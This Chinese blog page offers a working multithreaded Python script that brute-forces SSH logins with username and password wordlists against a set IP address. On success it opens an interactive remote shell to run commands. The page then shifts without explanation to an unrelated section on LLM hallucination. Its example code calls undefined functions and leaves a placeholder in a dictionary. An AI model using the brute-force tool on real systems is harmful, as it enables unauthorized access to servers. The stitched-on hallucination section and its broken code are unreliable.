python3 多线程ssh弱口令爆破并执行shell命令

"该博客介绍了一个使用Python3实现的多线程SSH弱口令爆破脚本,结合"user.txt"和"pass1.txt"两个文件中的用户名和密码进行尝试连接。一旦连接成功,脚本会执行shell命令,允许用户输入命令进行交互。错误信息被重定向到'error.log'文件中,同时通过信号量限制了最多10个线程并发运行。"

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python3 多线程ssh弱口令爆破并执行shell命令

#多线程ssh字典暴力破解
import paramiko
import sys
import threading
__stderr__ = sys.stderr  #将当前默认的错误输出结果保存为__stderr__
sys.stderr=open('error.log','a') #将报错信息储存在2.txt中,并赋予读权限
ip='192.168.85.128' 
m=1
n=0
def ssh(se,ip,username,password):
    try:
        global m,n
        se.acquire()  #获得信号量,信号量减一
        client=paramiko.SSHClient() #实例化SSHClient,SSHClient用于执行远程命令
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #默认远程连接,保存服务器主机名和密钥,自动添加策略
        client.connect(hostname=ip,port=22,username=str(username),password=str(password),timeout=10)
        print("\n成功!!!\nusername:",username,"\npassword:",password)
        while 1:
            print()
            cmd=input("shell>")
            stdin,stdout,stderr=client.exec_command(cmd) #stdin为输入,stdout为正确输出,stderr为错误输出,同时只有一个变量有值。
            print(stdout.read().decode('utf-8'))
        return
    except BaseException:
        se.release() #释放信号量,信号量加一
def duo(ip):
    f=open("user.txt","r").readlines()
    g=open("pass1.txt","r").readlines()
    global m,n
    semaphore=threading.Semaphore(10)
    for i in f:
        username=i.strip()
        for j in g:
            password=j.strip()
            n=n+1
            print("\r"+"字典进度为:",n,"waiting....",end="",flush=True)
            t=threading.Thread(target=ssh,args=(semaphore,ip,username,password))
            t.start()
if __name__=='__main__':
    duo(ip)
### 关于LLM幻觉的研究与综述 大型语言模型(LLM)的幻觉现象是指其生成的内容可能不符合事实、逻辑或常识的情况。这种现象通常源于训练数据中的偏差以及模型内部复杂的概率分布机制[^1]。 #### 幻觉产生的原因分析 LLM 的幻觉主要来源于以下几个方面: - **训练数据的质量问题**:如果训练语料库中存在错误的信息或者不一致的数据,那么这些信息可能会被模型学习重复输出[^2]。 - **上下文理解不足**:尽管 LLM 能够处理大量文本,但在某些情况下它们无法完全理解复杂的情境或领域特定的知识,从而导致生成的结果偏离实际意义[^3]。 #### 减少幻觉的技术手段 为了降低 LLM 输出中的幻觉效应,研究人员提出了多种方法和技术改进措施: - **引入外部知识源验证**:通过连接到可靠数据库或其他形式的事实核查工具来增强模型的回答准确性。 - **强化学习结合人类反馈**:这种方法让机器不仅依赖统计规律还考虑到了真实世界的约束条件,有助于提高响应的真实性与合理性。 - **微调专用场景下的预训练模型**:针对具体应用场景定制化调整参数设置可以有效减少无关干扰项的影响,进而改善最终效果表现。 ```python def check_factuality(response, knowledge_base): """ Function to verify the factuality of an LLM's response against a given knowledge base. Args: response (str): The output string from the LLM that needs verification. knowledge_base (dict): A dictionary containing factual information as key-value pairs. Returns: bool: True if all statements match known facts within tolerance levels; False otherwise. """ for statement in parse_statements(response): if not compare_statement_to_kb(statement, knowledge_base): return False return True # Example usage demonstrating how one might implement such functionality programmatically knowledge_database = {"capital_of_france": "Paris", ...} generated_text = llm.generate(prompt="What is the capital city of France?") is_correct = check_factuality(generated_text, knowledge_database) print(f"Is the answer correct? {is_correct}") ``` 上述代码片段展示了一个简单函数 `check_factuality` ,它接受来自 LLM 的回复和一个已知的真实值集合作为输入,返回该回复是否符合所提供的基线标准。 ---
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